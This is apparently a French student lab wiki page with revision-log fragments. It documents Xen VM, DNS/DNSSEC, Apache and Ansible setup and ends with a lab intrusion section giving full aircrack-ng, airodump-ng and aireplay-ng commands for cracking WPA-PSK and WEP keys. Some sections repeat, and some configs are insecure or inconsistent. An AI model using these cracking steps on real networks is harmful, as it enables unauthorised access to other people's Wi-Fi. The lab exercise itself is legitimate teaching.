airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-10T08:42:44Z

Zbriois : /* Installation de docker */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#

#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'

#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]

#
# Physical volumes
#

#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre serveur bind9 :
service bind9 restart

En cas d'erreur on a accés au log dans /var/log/daemon.log

Sur gandi.net dans votre domain dans l'onglet glue records ajouté :
name : ns.chlamydiae.site
IP address : 193.48.57.180

c'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2 : ns6.gandi.net

===Serveur Apache===

Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options :
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
on signe les enregistrements de la zone en executant la commandde suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={{ docker_apt_arch }}] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

====Création de votre conteneur====
====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-09T17:40:48Z

Zbriois : /* Serveur SSH */

TP sysres IMA5sc 2019/2020 G4

2019-12-09T17:40:32Z

Zbriois : /* Services Internet */

TP sysres IMA5sc 2019/2020 G4

2019-12-09T17:30:09Z

Zbriois : /* Architecture générale de la ferme */

TP sysres IMA5sc 2019/2020 G4

2019-12-09T17:28:46Z

Zbriois : /* Installation de docker */

TP sysres IMA5sc 2019/2020 G4

2019-12-09T17:03:40Z

Zbriois : /* Architecture générale de la ferme */

TP sysres IMA5sc 2019/2020 G4

2019-12-09T17:03:06Z

Zbriois : /* Architecture générale de la ferme */

TP sysres IMA5sc 2019/2020 G4

2019-12-09T16:59:16Z

Zbriois : /* Ferme de serveurs Web */

TP sysres IMA5sc 2019/2020 G4

2019-12-09T16:50:51Z

Zbriois : /* Architecture générale de la ferme */